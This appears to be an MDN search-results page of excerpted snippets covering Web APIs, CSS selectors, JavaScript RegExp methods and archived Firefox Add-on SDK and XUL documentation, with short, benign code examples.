the challenge property of the publickeycredentialcreationoptions dictionary is a buffersource used as a cryptographic challenge.
... note: when the credential is retrieved with a navigator.credentials.get() call, the signature of the challenge is contained in authenticatorassertionresponse.signature.
... note: a challenge will be at least 16 bytes long.
...And 4 more matches
PublicKeyCredentialRequestOptions.challenge - Web APIs
the challenge property of the publickeycredentialrequestoptions dictionary is a buffersource used as a cryptographic challenge.
...this value (among other client data) will be signed by the authenticator's private key and produce authenticatorassertionresponse.signature which should be sent back to the server as part of the response.
... note: when the credential is created with a navigator.credentials.create() call, the signature of the challenge is contained within authenticatorattestationresponse.attestationobject.
...And 4 more matches
RTCDTMFToneChangeEvent - Web APIs
the rtcdtmftonechangeevent interface represents events sent to indicate that dtmf tones have started or finished playing.
... this interface is used by the tonechange event.
... properties in addition to the properties of event, this interface offers the following: rtcdtmftonechangeevent.tone read only a domstring specifying the tone which has begun playing, or an empty string ("") if the previous tone has finished playing.
...And 4 more matches
RTCDataChannel.id - Web APIs
WebAPIRTCDataChannelid
the read-only rtcdatachannel property id returns an id number (between 0 and 65,534) which uniquely identifies the rtcdatachannel.
... this id is set at the time the data channel is created, either by the user agent (if rtcdatachannel.negotiated is false) or by the site or app script (if negotiated is true).
... each rtcpeerconnection can therefore have up to a theoretical maximum of 65,534 data channels on it, although the actual maximum may vary from browser to browser.
...And 4 more matches
RTCDataChannel.onerror - Web APIs
the rtcdatachannel.onerror property is an eventhandler which specifies a function to be called when the error event is received.
... when an error occurs on the data channel, the function receives as input an errorevent object describing the error which occurred.
... syntax rtcdatachannel.onerror = function; value a function which the browser will call to handle the error event when it occurs on the data channel.
...And 4 more matches
RTCDataChannel.readyState - Web APIs
the read-only rtcdatachannel property readystate returns an enum of type rtcdatachannelstate which indicates the state of the data channel's underlying data connection.
... syntax var state = adatachannel.readystate; values a string which is one of the values in the rtcdatachannelstate enum, indicating the current state of the underlying data transport.
... rtcdatachannelstate enum the rtcdatachannelstate enum defines string constants which reflect the current status of the rtcdatachannel's underlying data connection.
...And 4 more matches
ServiceWorkerGlobalScope.onfetch - Web APIs
the onfetch property of the serviceworkerglobalscope interface is an event handler fired whenever a fetch event occurs (usually when the windoworworkerglobalscope.fetch() method is called.) syntax serviceworkerglobalscope.onfetch = function(fetchevent) { ...
... }; example this code snippet is from the service worker prefetch sample (see prefetch example live.) the serviceworkerglobalscope.onfetch event handler listens for the fetch event.
... when fired, the code returns a promise that resolves to the first matching request in the cache object.
...And 4 more matches
SpeechGrammar - Web APIs
the speechgrammar interface of the web speech api represents a set of words or patterns of words that we want the recognition service to recognize.
... grammar is defined using jspeech grammar format (jsgf.) other formats may also be supported in the future.
... constructor speechgrammar.speechgrammar() creates a new speechgrammar object.
...And 4 more matches
SpeechGrammarList.addFromString() - Web APIs
the addfromstring() method of the speechgrammarlist interface takes a grammar present in a specific domstring within the code base (e.g.
... stored in a variable) and adds it to the speechgrammarlist as a new speechgrammar object.
... syntax speechgrammarlistinstance.addfromstring(string,weight); returns void.
...And 4 more matches
SpeechGrammarList.addFromURI() - Web APIs
the addfromuri() method of the speechgrammarlist interface takes a grammar present at a specific uri and adds it to the speechgrammarlist as a new speechgrammar object.
... note that some speech recognition services may support built-in grammars that can be specified by uri.
... syntax speechgrammarlistinstance.addfromuri(src,weight); returns void.
...And 4 more matches
SpeechRecognition.onresult - Web APIs
the onresult property of the speechrecognition interface represents an event handler that will run when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app (when the result event fires.) syntax myspeechrecognition.onresult = function() { ...
... }; examples this code is excerpted from our speech color changer example.
... recognition.onresult = function(event) { // the speechrecognitionevent results property returns a speechrecognitionresultlist object // the speechrecognitionresultlist object contains speechrecognitionresult objects.
...And 4 more matches
SpeechRecognitionResult.isFinal - Web APIs
the isfinal read-only property of the speechrecognitionresult interface is a boolean that states whether this result is final (true) or not (false) — if so, then this is the final time this result will be returned; if not, then this result is an interim result, and may be updated later on.
... syntax var myisfinal = speechrecognitionresultinstance.isfinal; returns a boolean.
... examples recognition.onresult = function(event) { // the speechrecognitionevent results property returns a speechrecognitionresultlist object // the speechrecognitionresultlist object contains speechrecognitionresult objects.
...And 4 more matches
Touch.radiusY - Web APIs
WebAPITouchradiusY
summary returns the y radius of the ellipse that most closely circumscribes the area of contact with the touch surface.
... the value is in css pixels of the same scale as touch.screenx.
... this value, in combination with touch.radiusx and touch.rotationangle constructs an ellipse that approximates the size and shape of the area of contact between the user and the screen.
...And 4 more matches
TouchList.item() - Web APIs
WebAPITouchListitem
the item() method returns the touch object at the specified index in the touchlist.
... syntax var touchpoint = touchlist.item(index); parameters index the index of the touch object to retrieve.
... the index is a number in the range of 0 to one less than the length of the touchlist.
...And 4 more matches
UIEvent.isChar - Web APIs
WebAPIUIEventisChar
the uievent.ischar read-only property returns a boolean indicating whether the event produced a key character or not.
... syntax var ischar = uievent.ischar; value a boolean which is true if the event produces a character; otherwise false.
... some keystroke combinations may raise events but not produce any character (example: ctrl-alt-?).
...And 4 more matches
USBIsochronousInTransferPacket - Web APIs
the usbisochronousintransferpacket interface of the webusb api is part of the response from a call to the isochronoustransferin() method of the usbdevice interface.
... it represents the status of an individual packet from a request to transfer data from the usb device to the usb host over an isochronous endpoint.
... constructor usbisochronousintransferpacket.usbisochronousintransferpacket() creates a new usbisochronousintransferpacket object with the provided status and data fields.
...And 4 more matches
USBIsochronousOutTransferPacket - Web APIs
the usbisochronousouttransferpacket interface of the webusb api is part of the response from a call to the isochronoustransferout() method of the usbdevice interface.
... it represents the status of an individual packet from a request to transfer data from the usb host to the usb device over an isochronous endpoint.
... constructor usbisochronousouttransferpacket.usbisochronousouttransferpacket() creates a new usbisochronousouttransferpacket object with the provided status and byteswritten fields.
...And 4 more matches
Window.speechSynthesis - Web APIs
the speechsynthesis read-only property of the window object returns a speechsynthesis object, which is the entry point into using web speech api speech synthesis functionality.
... syntax var synth = window.speechsynthesis; value a speechsynthesis object.
... examples in our basic speech synthesiser demo, we first grab a reference to the speechsynthesis controller using window.speechsynthesis.
...And 4 more matches
:first-child - CSS: Cascading Style Sheets
the :first-child css pseudo-class represents the first element among a group of sibling elements.
... /* selects any <p> that is the first element among its siblings */ p:first-child { color: lime; } note: as originally defined, the selected element had to have a parent.
... syntax :first-child examples basic example html <div> <p>this text is selected!</p> <p>this text isn't selected.</p> </div> <div> <h2>this text isn't selected: it's not a `p`.</h2> <p>this text isn't selected.</p> </div> css p:first-child { color: lime; background-color: black; padding: 5px; } result styling a list html <ul> <li>item 1</li> <li>item 2</li> <li>item 3 <ul> <li>item 3.1</li> <li>item 3.2</li> <li>item 3.3</li> </ul> </li> </ul> css ul li { color: blue; } ul li:first-child { color: red; font-weight: bold; } result specifications specification status comment selectors level 4the definition of ':first-child' in...
...And 4 more matches
:only-child - CSS: Cascading Style Sheets
the :only-child css pseudo-class represents an element without any siblings.
... this is the same as :first-child:last-child or :nth-child(1):nth-last-child(1), but with a lower specificity.
... /* selects each <p>, but only if it is the */ /* only child of its parent */ p:only-child { background-color: lime; } note: as originally defined, the selected element had to have a parent.
...And 4 more matches
monochrome - CSS: Cascading Style Sheets
WebCSS@mediamonochrome
the monochrome css media feature can be used to test the number of bits per pixel in the monochrome frame buffer of the output device.
... syntax the monochrome feature is specified as an <integer> representing the number of bits per pixel in the monochrome frame buffer.
... if the device is not a monochrome device, the value is zero.
...And 4 more matches
overflow-anchor - CSS: Cascading Style Sheets
the overflow-anchor css property provides a way to opt out of the browser's scroll anchoring behavior, which adjusts scroll position to minimize content shifts.
... scroll anchoring behavior is enabled by default in any browser that supports it.
... therefore, changing the value of this property is typically only required if you are experiencing problems with scroll anchoring in a document or part of a document and need to turn the behavior off.
...And 4 more matches
RegExp.prototype[@@matchAll]() - JavaScript
the [@@matchall] method returns all matches of the regular expression against a string.
... syntax regexp[symbol.matchall](str) parameters str a string that is a target of the match.
... description this method is called internally in string.prototype.matchall().
...And 4 more matches
String.prototype.search() - JavaScript
the search() method executes a search for a match between a regular expression and this string object.
... syntax str.search(regexp) parameters regexp a regular expression object.
... return value the index of the first match between the regular expression and the given string, or -1 if no match was found.
...And 4 more matches
Symbol.match - JavaScript
the symbol.match well-known symbol specifies the matching of a regular expression against a string.
... this function is called by the string.prototype.match() method.
...for example, the methods string.prototype.startswith(), string.prototype.endswith() and string.prototype.includes(), check if their first argument is a regular expression and will throw a typeerror if they are.
...And 4 more matches
Handling media support issues in web content - Web media technologies
the availability of choices is good for the user, in that they can choose the format that suits their needs best.
... there is a drawback, however: because there are so many to choose from, with so many different kinds of licenses and design principles involved, each web browser developer is left to its own devices when deciding which media file types and codecs to support.
...this guide covers techniques you can use to develop web content that meets your media needs while providing the most broadly compatible experience possible.
...And 4 more matches
child - XPath
WebXPathAxeschild
the child axis indicates the children of the context node.
... if an xpath expression does not specify an axis, the child axis is understood by default.
... since only the root node or element nodes have children, any other use will select nothing.
...And 4 more matches
Communicating using "postMessage" - Archive of obsolete content
handling message events in the content script to send a message from a content script, you use the postmessage function of the global self object: self.postmessage(contentscriptmessage); this takes a single parameter, the message payload, which may be any json-serializable value.
...again, panel and page integrate worker directly: // post a message to the panel's content scripts panel.postmessage(addonmessage); however, for page-mod objects you need to listen to the onattach event and use the worker supplied to that: var pagemod = require('sdk/page-mod').pagemod({ include: ['*'], contentscript: pagemodscript, onattach: function(worker) { worker.postmessage(addonmessage); } }); to receive messages from a content script, use the worker's on function.
...ssage events versus user-defined events you can use message events as an alternative to user-defined events: var pagemodscript = "window.addeventlistener('mouseover', function(event) {" + " self.postmessage(event.target.tostring());" + "}, false);"; var pagemod = require('sdk/page-mod').pagemod({ include: ['*'], contentscript: pagemodscript, onattach: function(worker) { worker.on('message', function(message) { console.log('mouseover: ' + message); }); } }); the reason to prefer user-defined events is that as soon as you need to send more than one type of message, then both sending and receiving messages gets more complex.
...And 3 more matches
system - Archive of obsolete content
usage querying your environment using the system module you can access environment variables (such as path), find out which operating system your add-on is running on and get information about the host application (for example, firefox or fennec), such as its version.
... var system = require("sdk/system"); // path environment variable console.log(system.env.path); // operating system console.log("platform = " + system.platform); // processor architecture console.log("architecture = " + system.architecture); // compiler used to build host application console.log("compiler = " + system.compiler); // host application build identifier console.log("build = " + system.build); // host application uuid console.log("id = " + system.id); // host application name console.log("name = " + system.name); // host application version console.log("version = " + system.version); // host application vendor console.log("vendor = " + system.vendor); // host application profile directory console.log("profile directory = " + system.pathfor("profd")); quit the host application t...
... pathfor(id) firefox enables you to get the path to certain "special" directories, such as the desktop or the profile directory.
...And 3 more matches
timers - Archive of obsolete content
globals constructors functions settimeout(callback, ms) schedules callback to be called in ms milliseconds.
... ms : integer interval in milliseconds after which the function will be called.
... returns integer : an id that can later be used to undo this scheduling, if callback hasn't yet been called.
...And 3 more matches
ui - Archive of obsolete content
this module exports constructors for the following: actionbutton togglebutton frame toolbar sidebar each object has its own reference page, linked above: for all the details please refer to the reference page.
...if it's standalone, it appears in the toolbar at the top right of the browser window: togglebutton a toggle button is a special kind of button that's for representing a binary on/off state, like a checkbox.
... so they have a checked property which is toggled when the user clicks the button, and the icon gets a "pressed" look when the button is checked.
...And 3 more matches
content/symbiont - Archive of obsolete content
used by sdk modules that can load web content and attach content scripts to it.
... usage a symbiont loads the specified contenturl and content scripts into a frame, and sets up an asynchronous channel between the content scripts and the add-on code, enabling them to exchange messages using the port or postmessage apis.
...it inherits functions to load and configure content scripts from the loader, and functions to exchange messages between content scripts and the main add-on code from the worker.
...And 3 more matches
event/target - Archive of obsolete content
eventtarget is the base class for all objects in sdk on which events are emitted.
... const { eventtarget } = require("sdk/event/target"); let target = eventtarget(); for a convenience though optional options arguments may be used, in which case all the function properties with keys like: onmessage, onmyevent...
...such listeners are called only once next time event of the specified type is emitted: target.once('ready', function onready() { // do the thing once ready!
...And 3 more matches
io/file - Archive of obsolete content
unfortunately this api does not currently provide a way to obtain an absolute base path which you could then use with join.
... for now, you need to require("chrome") and use the xpcom directory service as described in this article about file i/o.
... read more about escaping characters in strings.
...And 3 more matches
system/events - Archive of obsolete content
you can find a list of events dispatched by the firefox codebase here.
... var events = require("sdk/system/events"); var { ci } = require("chrome"); function listener(event) { var channel = event.subject.queryinterface(ci.nsihttpchannel); channel.setrequestheader("user-agent", "mybrowser/1.0", false); } events.on("http-on-modify-request", listener); globals functions emit(type, event) send an event to observer service parameters type : string the event type.
... on(type, listener, strong) listen to events of a given type parameters type : string the event type name to watch.
...And 3 more matches
test/assert - Archive of obsolete content
each test will be passed an assert object when you run the tests using jpm test.
...deep equality is defined in the commonjs specification for assert, item 7, which is quoted here: all identical values are equivalent, as determined by ===.
... this method takes an optional error argument: to check that the exception thrown is of the expected type, pass a constructor function: the exception thrown must be an instance of the object returned by that function.
...And 3 more matches
package.json - Archive of obsolete content
some of its entries, such as icon, name, and description, have direct analogues in the install manifest format, and entries from package.json are written into the install manifest when the add-on is built using jpm xpi.
... others, such as lib, permissions, and preferences, represent instructions to the jpm tool itself to generate and include particular code and data structures in your add-on.
... license the name of the license under which the add-on is distributed, with an optional url in parentheses.
...And 3 more matches
Tutorials - Archive of obsolete content
getting started installation how to install the jpm tool, which you will use for developing add-ons.
... create user interfaces add a toolbar button attach a button to the firefox add-on toolbar.
... modify web pages modify web pages based on url create filters for web pages based on their url: whenever a web page whose url matches the filter is loaded, execute a specified script in it.
...And 3 more matches
Downloading Files - Archive of obsolete content
var privacy = privatebrowsingutils.privacycontextfromwindow(urlsourcewindow); persist.persistflags = persist.persist_flags_from_cache | persist.persist_flags_replace_existing_files; persist.saveuri(uritosave, null, null, null, "", targetfile, privacy); if you don't need detailed progress information, you might be happier with nsidownloader.
...var privacy = privatebrowsingutils.privacycontextfromwindow(aurlsourcewindow); var progresselement = document.getelementbyid("progress_element"); persist.progresslistener = { onprogresschange: function(awebprogress, arequest, acurselfprogress, amaxselfprogress, acurtotalprogress, amaxtotalprogress) { var percentcomplete = math.round((acurtotalprogress / amaxtotalprogress) * 100); progresselement.textcontent = percentcomplete +"%"; }, onstatechange: function(awebprogress, arequest, astateflags, astatus) { // do something } } persist.saveuri(obj_uri, null, null, nu...
...if you want to open a login prompt, you can use the default prompt by calling the window watcher's getnewauthprompter() method.
...And 3 more matches
Label and description - Archive of obsolete content
to cause the text to wrap: ensure the long-running text is a text node child of <description/> or <label/> (i.e., do not specify the long-running text in the value attribute of these elements).
...this reduces all whitespace chunks (including newlines) to single spaces.
...text cannot wrap automatically but can still be achieved with <html:br/> if desired.
...And 3 more matches
On page load - Archive of obsolete content
this article is for xul/javascript developers who want to have custom code executed each time a new page is loaded in browser/mail.
... if you need finer control over custom code execution—for example, as documents are loading or when tabs are switched—see progress listeners.
... progress listeners allow extensions to be notified of events associated with documents loading in the browser and with tab switching events.
...And 3 more matches
xml:base support in old browsers - Archive of obsolete content
before using this code, check if your browser has native support for node.baseuri.
... var scheme = /(\w(\w|\d|\+|\- |\ .)*)\:\/\//; function getxmlbaselink (xlink, thisitem) { var xmlbase = ''; if (!xlink.match(scheme)) { // only check for xml base if there is no protocol // tests for 'scheme' per http://www.ietf.org/rfc/rfc2396.txt' xmlbase = getxmlbase (thisitem); if (!xmlbase.match(/\/$/) && !xlink.match(/\/$/)) { // if no preceding slash on xlink or trailing slash on xml:base, add one in between xmlbase += '/'; } else if (xmlbase.match(/\/$/) && xlink.match(/\/$/)) { xmlbase = xmlbase.substring...
...(0, xmlbase.length-2); // strip off last slash to join with xlink path with slash } // alert(xmlbase + '::' + xlink); } var link = xmlbase + xlink; if (!link.match(scheme)) { // if there is no domain, we'll need to use the current domain var loc = window.location; if (link.indexof('/') === 0 ) { // if link is an absolute url, it should be from the host only link = loc.protocol + '//' + loc.host + link; } else { // if link is relative, it should be from full path, minus the file var dirpath = loc.pathname.substring(0, loc.pathname.lastindexof('/')-1); if (link.lastindexof('/') !== link.length-1) { link += '/'; } link = loc.protocol + '//' + loc.host + dirpath + link; } } return link; } function getxmlbase (thisitem) { // fix: need ...
...And 3 more matches
Custom about: URLs - Archive of obsolete content
this example creates an about page with url about:myaboutpage which takes a user to a page that writes some text out.
... in bug 1254752 things changed for firefox 48 and up.
... services.io.newchannel was deprecated, and the signature of the newchannel method changed.
...And 3 more matches
XUL user interfaces - Archive of obsolete content
more specialized features can be built from parts by using xul together with other technologies that you have seen in this tutorial: css style, javascript code, and xbl bindings.
... font-size: 200%; padding-left: 5px; } /* the group box */ .demo-group { padding: 1em; } .demo-group grid { margin-bottom: 1em; } .demo-group column { margin-right: .5em; } .demo-group row { margin-bottom: .5em; } .demo-group .buttons { -moz-box-pack: end; } /* the day-of-week labels */ .day { margin-left: 1em; } .day[disabled] { color: #777; } .day:first-child { margin-left: 4px; } /* the left column labels */ .text-prompt { padding-top: .25em; } /* the date input box */ #date-text { max-width: 8em; } /* the status bar */ statusbar { width: 100%; border: 1px inset -moz-dialog; margin: 4px; padding: 0px 4px; } #status { padding: 4px; } #status[warning] { color: red; } make a new text file, script7.js.
...n settoday() { var d = new date() datebox.value = (d.getmonth() + 1) + "/" + d.getdate() + "/" + d.getfullyear() refresh() } // called by date textbox function refresh() { var d = datebox.value var thedate = null showstatus(null) if (d != "") { try { var a = d.split("/") var thedate = new date(a[2], a[0] - 1, a[1]) showstatus(thedate) } catch (ex) {} } setday(thedate) } // internal function setday(adate) { if (currentday) currentday.setattribute("disabled", "true") if (adate == null) currentday = null else { var d = adate.getday() currentday = daybox.firstchild while (d-- > 0) currentday = currentday.nextsibling currentday.removeattribute("disabled") } datebox.focus(); } function showstatus(adat...
...And 3 more matches
List of Former Mozilla-Based Applications - Archive of obsolete content
the following is a list of all known applications that at one point used mozilla technologies or that are no longer being actively maintained.
... applications that switched to another technology name description additional information angelsoft tools for startups, vcs, and angel investors switched from xulrunner-based client to a web application autodesk maya 3d modeling tool switched off of gecko for help browser in version 8.5 blam feed reader switched to webkit in version 1.8.6 boxee media center software switched to webkit in version 1.0 epiphany browser switched from gecko to webkit flock social browsing flock switched from being firefox-based to chromium-based when it released a new beta on june 16, 2010 jolicloud web operating system ...
... as of march 2010, rw/w reports jolicloud is on chrome/chrome os joost tv over internet switched from xulrunner-based client to a web application liferea news aggregator switched to webkit in version 1.6 manyone browser browser originally mozilla-based but now i believe the have a web-based tool (need reference for that) miro (formerly democracy player) video switched from xulrunner to webkit in version 3.0.2 moblin browser browser when moblin became meego it switched from a custom gecko-based browser to chrome nautilus file manager hasn't used mozilla code since version 2.0 raptr client gaming client was a xulrunner app initially but now uses adobe air rift technologies sof...
...And 3 more matches
Automatically Handle Failed Asserts in Debug Builds - Archive of obsolete content
the handler receives the assert string, and sequentially attempts to match each word in the string (left to right) to registry dword names from hklm\software\mozilla.org\windbgdlg and hkcu\software\mozilla.org\windbgdlg.
... at the first match, it will take the action specified by the dword's value.
...as an example, consider the following failed assertion: assertion: no document: 'mdocument != nsnull', file d:/cvs-1.11.4/mozilla/content/xul/content/src/nsxulelement.cpp, line 3173 (note that i have my source tree in d:/cvs-1.11.4/mozilla) if you have a dword in hkcu\software\mozilla.org\windbgdlg\ named "d:/cvs-1.11.5/mozilla/content/xul/content/src/nsxulelement.cpp," (with the comma - matches are whole-word only) and value 0x5, the assert would automatically be ignored.
...And 3 more matches
GRE - Archive of obsolete content
the framework for embedding mozilla technologies was at one point called the gre (gecko runtime environment).
... the xre project, which means "xul runtime environment", has been replaced by xulrunner.
...there was never an official gre shipped for linux, but various distributors such as red hat have registered mozilla installations as if they were a gre.
...And 3 more matches
Extensions - Archive of obsolete content
one of prism's features is an extreme lack of ui elements, which means that trying to use the same overlays in firefox and prism is really not possible.
...the code snippet will look something like this: <em:targetapplication> <!– prism –> <description> <em:id>prism@developer.mozilla.org</em:id> <em:minversion>0.8</em:minversion> <em:maxversion>1.0.0.*</em:maxversion> </description> </em:targetapplication> in addition to the install manifest changes, you may want to expose your extension into the prism ui.
... prism does have a few ui elements, such as a toolbox, toolbar, menubar, popup menus, statusbar and a container for the browser.
...And 3 more matches
Priority Content - Archive of obsolete content
book length works in progress: netscape gecko plugin api reference 1.0 original: netscape gecko plugin api reference 1.0 wiki location: gecko plugin api reference migrators: started: core javascript reference 1.5 original: core javascript reference 1.5 wiki location: core javascript 1.5 reference migrators: deb richardson in progress: transforming xml: netscape and xslt 1.0 original: transforming xml: netscape and xslt 1.0 wiki location: transforming xml with xslt migrators: serge k.
...gins: macromedia flash original: scripting plugins: macromedia flash wiki location: scripting plugins: macromedia flash migrators: dependant on (these parts need to be done, put your name down) completed: soap in netscape gecko-based browsers original: soap in netscape gecko-based browsers wiki location: soap in gecko-based browsers migrators: doron rosenberg in progress: css support charts original: css support charts and archive.org mirror wiki location: css support charts migrators: serge k.
... keller licensing: these css charts appear to be under a cc:by-nc-sa license, please make note of that on the page when you do the migration.
...And 3 more matches
Tamarin mercurial commit hook - Archive of obsolete content
the hook is located in the tamarin-redux repository in the file utils/hooks/tamarin-commit-hook.py this is a simple mercurial hook that checks the following filetypes ('.cpp', '.h', '.as', '.abs', '.py') for the following: tabs anywhere in the line trailing whitespace windows line endings (\r\n) "mark_security_change" - looks for this text and warns user as security changes should not be checked into the public tamarin-redux repository.
...hook use on every commit to your local repository, the hook will only check for violations in any new / changed code.
... any untouched lines of code that violate the check will be ignored.
...And 3 more matches
Treehydra Manual - Archive of obsolete content
et node = cgraph; node; node = node.next) { let fn = node.decl; if (decl_struct_function(fn)) { // fn has a body print(fn); let cfg = function_decl_cfg(fn); } } gimple reference for a detailed description of gimple see gcc/tree.def and gcc/cp/operators.def see also treehydra.js, gcc_compat.js, gcc_util.js, and gcc_print.js in the treehydra libs directory, which have many ports of gcc macros and other functions for conveniently accessing gimple data in javascript.
...there is a sample application that checks for double-locking in a simple mutex api in test/esp_lock.js.
... abstract interpretation is a big topic, which is not yet fully documented here.
...And 3 more matches
Binding Implementations - Archive of obsolete content
when the src attribute is specified, any children of the implementation element are ignored.
... for properties with raw values, an initial value can be specified as a child of the property tag.
... the script is evaluated at the time of binding attachment and the resulting value is stored on the element.
...And 3 more matches
Mac stub installer - Archive of obsolete content
adding a package involves a few steps: add a section named for your <component> to the packages-mac manifest that describes which files from dist belong to which module.
...checkin the <component>.jst to the: <http://lxr.mozilla.org/seamonkey/sou.../packager/mac/> directory.
... note that there are two macro strings in the .jsts: $version$ which is replaced at packages time with the browser version.
...And 3 more matches
Install Wizards (aka: Stub Installers) - Archive of obsolete content
an installer package is an archive file (called xpi--pronounced "zippies"--because of its .xpi extensions) in phil katz zip format.
... it contains some files to be installed and the install script, usually named install.js, which contains javascript directives for actions to take during an install including adding files and directories, removing old or obsolete files and directories, executing command line tools, etc.
...users download the stub installers, choose which packages to install, choose the destination directory for the installation, and select from various other options.
...And 3 more matches
Methods - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
...also allows custom button labels and a checkbox.
... execute extracts a file from the xpi file to a temporary location and schedules it for later execution.
...And 3 more matches
Properties - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
...properties archive full local path of the archive after it is downloaded to the platform specific temp folder.
...c:\temp\argstest.xpi) arguments args can be passed in through the triggering apis by attaching a ?
...And 3 more matches
SVG And Canvas In Mozilla - Archive of obsolete content
advances in hardware, especially graphics processors, offer the potential for far richer graphics in interactive applications.
... to realize this potential in web applications, browsers must expose rich new graphics apis to web content.
... the mozilla project will meet this challenge with two major new features to be delivered in firefox 1.5: integrated svg and a new canvas html element.
...And 3 more matches
Deprecated and defunct markup - Archive of obsolete content
the list below may include a few elements which are actually in use, but at a deeper level in the code.
... elements <actions> (listed here by mistake or was it a container tag?) typo for <action> --neil 03 march 2011 <autorepeatbutton> (action occurs repeatedly on mouse hover--used to construct other elements; used in <arrowscrollbox> and large drop-down menus) so, not deprecated?
... --neil 03 march 2011 <bulletinboard> (made to support left/top styles, but <stack> can now do as well) <gripper> (inside of <scrollbar><thumb>; not to be used by itself) <listboxbody> (internal use only; part of xbl for <listbox>) <menubutton> (experiment in combining buttons and menus; use <button type> instead) <nativescrollbar> (displayed a native scrollbar; had been for mac only with native themes on) <outliner> (former name for <tree>; <listbox> had been "<tree>") <popup> (use menupopup) <package> (no longer present but in older documentation) <scrollbarbutton> (button at end of scrollbar; had been only within larger <scrollbar>) so, not deprecated, but internal use only?
...And 3 more matches
How to implement a custom XUL query processor component - Archive of obsolete content
here is an example of what our xul might look like when using a custom query processor: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <grid> <columns> <column flex="1"/> <column flex="3"/> <column flex="2"/> <column flex="1"/> </columns> <rows datasources="dummy" ref="." querytype="simpledata"> <template> <row...
...{ this._data = adata; // just make a random number for the id this._id = math.random(100000).tostring(); } templateresult.prototype = { queryinterface: xpcomutils.generateqi([components.interfaces.nsixultemplateresult]), // private storage _data: null, // right now our results are flat lists, so no containing/recursion take place iscontainer: false, isempty: true, mayprocesschildren: false, resource: null, type: "simple-item", get id() { return this._id; }, // return the value of that bound variable such as ?name getbindingfor: function(avar) { // strip off the ?
... from the beginning of the name var name = avar.tostring().slice(1); return this._data[name]; }, // return an object instead of a string for convenient comparison purposes // or null to say just use string value getbindingobjectfor: function(avar) { return null; }, // called when a rule matches this item.
...And 3 more matches
List of commands - Archive of obsolete content
the following lists commands which might be usable by <command> or command dispatchers/controllers.
...selection): cmd_copy - copy a selection to the clipboard cmd_cut - cut a selection into the clipboard cmd_paste - paste a selection from the clipboard cmd_selectall cmd_selectnone cmd_copylink cmd_copyimagelocation cmd_copyimagecontents cmd_scrolltop cmd_scrollbottom cmd_scrollpageup cmd_scrollpagedown cmd_scrolllineup cmd_scrolllinedown cmd_scrollleft cmd_scrollright cmd_selectcharprevious cmd_selectcharnext cmd_wordprevious cmd_wordnext cmd_selectwordprevious cmd_selectwordnext cmd_beginline cmd_endline cmd_selectbeginline cmd_selectendline cmd_selectlineprevious cmd_selectlinenext cmd_selectpageprevious cmd_selectpagenext cmd_selectmovetop cmd_selectmovebottom editor commands (legal when the focus is anywhere where you can type text): cmd_paste - pas...
...te a selection from the clipboard cmd_pastequote cmd_delete cmd_deletecharbackward cmd_deletecharforward cmd_deletewordbackward cmd_deletewordforward cmd_deletetobeginningofline cmd_deletetoendofline cmd_scrolltop cmd_scrollbottom cmd_movetop cmd_movebottom cmd_selecttop cmd_selectbottom cmd_linenext cmd_lineprevious cmd_selectlinenext cmd_selectlineprevious cmd_charprevious cmd_charnext cmd_selectcharprevious cmd_selectcharnext cmd_beginline cmd_endline cmd_selectbeginline cmd_selectendline cmd_wordprevious cmd_wordnext cmd_selectwordprevious cmd_selectwordnext cmd_scrollpageup cmd_scrollpagedown cmd_scrolllineup cmd_scrolllinedown cmd_movepageup cmd_movepagedown cmd_selectpageup cmd_selectpagedown other commands the following list other commands (pr...
...And 3 more matches
appendNotification - Archive of obsolete content
this should be either a string, or, from gecko 37 onwards, you can pass a documentfragment with rich content as well.
...each description is an object with the following properties: accesskey - the accesskey to appear on the button callback - function to be called when the button is activated.
... the element which was the target of the button press event.
...And 3 more matches
Namespaces - Archive of obsolete content
duplicates element and attribute names can occur when an xml document contains elements and attributes from two or more different xml schemas (or dtds).
...an uri is any string, although most people choose a url-based uri because urls are an easy way to hope for uniqueness.
... although there's nothing preventing someone else from using the namespace http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul, it's fairly unlikely anyone would choose that accidentally.
...And 3 more matches
PopupKeys - Archive of obsolete content
handling keys within menus when using a menupopup element, a keyboard listener is attached to the window that will handle keypresses for the menu.
...the following table lists the keys that are checked, and what the menu keyboard listener does in response: cursor up/down move the highlight within the menu up or down, wrapping around if necessary.
...if a chain of submenus is open, only one level of menus is closed.
...And 3 more matches
Additional Template Attributes - Archive of obsolete content
to use this technique, place a template attribute on the root element set to the id of a template.
...the listbox here does not have any children, although it may do.
... if you did add children, they act just like the static content as if the template was present.
...And 3 more matches
Toolbar customization events - Archive of obsolete content
you can use window.addeventlistener() to listen for these events in order to keep abreast of changes to toolbars.
... beforecustomization this event is delivered when the user starts the toolbar customization process; for example, by right-clicking on a toolbar and choosing "customize".
... customizationchange this event is delivered when the user makes a change to a toolbar while editing the toolbars, either by dragging an item to the toolbar or by dragging an item out of it.
...And 3 more matches
Toolbars - Archive of obsolete content
when more than one toolbar is placed next to each other, they are typically grouped together in something called a 'toolbox'.
...this has involved four new tags, which are described here.
... toolbar a single toolbar that contains toolbar items such as buttons.
...And 3 more matches
XUL Accesskey FAQ and Policies - Archive of obsolete content
if methods like confirm(), confirmex() or prompt() are being used to create a dialog, use an & before the button or checkbox text to make the next character an accesskey.
... help wanted: it would be useful to have an automated tool to check for duplicate and missing accesskeys in xul files.
... use letters with wide widths, such as w, m, and capital letters.
...And 3 more matches
box - Archive of obsolete content
ArchiveMozillaXULbox
« xul reference home [ examples | attributes | properties | methods | related ] a container element which can contain any number of child elements.
... if the box has an orient attribute that is set to horizontal, the child elements are laid out from left to right in the order that they appear in the box.
... if orient is set to vertical, the child elements are laid out from top to bottom.
...And 3 more matches
grid - Archive of obsolete content
ArchiveMozillaXULgrid
note: this page is about grids in mozilla's xul technology.
...the grid is expected to contain both a columns element as a child which defines the structure of the columns and a rows element as child to define the rows.
... the size and attributes defined on columns and rows will affect the size and placement of elements in each cell.
...And 3 more matches
listhead - Archive of obsolete content
it is usual to place listheader elements inside the listhead, one for each column.
...do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case.
...using it with an anchor tag (an <a> link) will have no effect.
...And 3 more matches
rows - Archive of obsolete content
ArchiveMozillaXULrows
child row elements define the individual rows to appear in the grid.
... each child of a rows element should be a row element.
